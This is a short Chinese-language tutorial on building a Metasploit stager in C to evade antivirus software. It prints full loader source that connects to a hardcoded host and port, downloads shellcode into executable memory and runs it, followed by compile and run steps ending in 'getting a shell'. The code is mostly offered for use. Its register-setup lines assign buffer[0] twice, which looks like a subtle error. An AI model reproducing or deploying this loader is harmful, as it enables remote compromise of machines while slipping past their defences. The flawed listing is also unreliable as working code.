通过MSF加载器绕过AV

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[md]### 环境
* Dev C ++
* kali 2020
### 获取
新建一个 `Project` 命名为`Loader64` 并将文件另存为 `Loader64`。

将 Project 设置为 `C Project`，将应用程序设置为` Console Application`。从命令行执行
### 粘贴下面代码
```
/*
* A C-based stager client compat with the Metasploit Framework
*    based on a discussion on the Metasploit Framework mailing list
*
* @author Raphael Mudge (raffi@strategiccyber.com)
* @license BSD License.
*
* Relevant messages:
* * http://mail.metasploit.com/piper ... ptember/008660.html
* * http://mail.metasploit.com/piper ... ptember/008664.html
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>

/* init winsock */
void winsock_init() {
        WSADATA        wsaData;
        WORD                 wVersionRequested;

        wVersionRequested = MAKEWORD(2, 2);

        if (WSAStartup(wVersionRequested, &wsaData) < 0) {
                printf("ws2_32.dll is out of date.\n");
                WSACleanup();
                exit(1);
        }
}

/* a quick routine to quit and report why we quit */
void punt(SOCKET my_socket, char * error) {
        printf("Bad things: %s\n", error);
        closesocket(my_socket);
        WSACleanup();
        exit(1);
}

/* attempt to receive all of the requested data from the socket */
int recv_all(SOCKET my_socket, void * buffer, int len) {
        int    tret   = 0;
        int    nret   = 0;
        void * startb = buffer;
        while (tret < len) {
                nret = recv(my_socket, (char *)startb, len - tret, 0);
                startb += nret;
                tret   += nret;

                if (nret == SOCKET_ERROR)
                        punt(my_socket, "Could not receive data");
        }
        return tret;
}

/* establish a connection to a host:port */
SOCKET wsconnect(char * targetip, int port) {
        struct hostent *                target;
        struct sockaddr_in         sock;
        SOCKET                         my_socket;

        /* setup our socket */
        my_socket = socket(AF_INET, SOCK_STREAM, 0);
        if (my_socket == INVALID_SOCKET)
                punt(my_socket, "Could not initialize socket");

        /* resolve our target */
        target = gethostbyname(targetip);
        if (target == NULL)
                punt(my_socket, "Could not resolve target");


        /* copy our target information into the sock */
        memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
        sock.sin_family = AF_INET;
        sock.sin_port = htons(port);

        /* attempt to connect */
        if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
                punt(my_socket, "Could not connect to target");

        return my_socket;
}


int main(int argc, char * argv[]) {
        ULONG32 size;
        char * buffer;
        void (*function)();

        winsock_init();

        if (argc != 3) {
                printf("%s [host] [port]\n", argv[0]);
                exit(1);
        }

        /* connect to the handler */
        SOCKET my_socket = wsconnect("192.168.123.33", 5555);

        /* read the 4-byte length */
        int count = recv(my_socket, (char *)&size, 4, 0);
        if (count != 4 || size <= 0)
                punt(my_socket, "read a strange or incomplete length value\n");

        /* allocate a RWX buffer */
        buffer = VirtualAlloc(0, size + 10, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (buffer == NULL)
                punt(my_socket, "could not allocate buffer\n");

        /* prepend a little assembly to move our SOCKET value to the EDI register
           thanks mihi for pointing this out
           BF 78 56 34 12     =>      mov edi, 0x12345678 */
        buffer[0] = 0x48;
        buffer[0] = 0xBF;

        /* copy the value of our socket to the buffer */
        memcpy(buffer + 2, &my_socket, 8);

        /* read bytes into the buffer */
        count = recv_all(my_socket, buffer + 10, size);

        /* cast our buffer as a function and call it */
        function = (void (*)())buffer;
        function();

        return 0;
}
```
修改`SOCKET my_socket = wsconnect("192.168.123.33", 5555);`为你的IP和端口。
编译选项中添加`-lws2_32`
按`F9` 编译并在msf中监听！
在`cmd`中执行下面命令
```
Loader64.exe 192.168.123.33 5555
```
成功得到shell
### 免杀效果
[/md]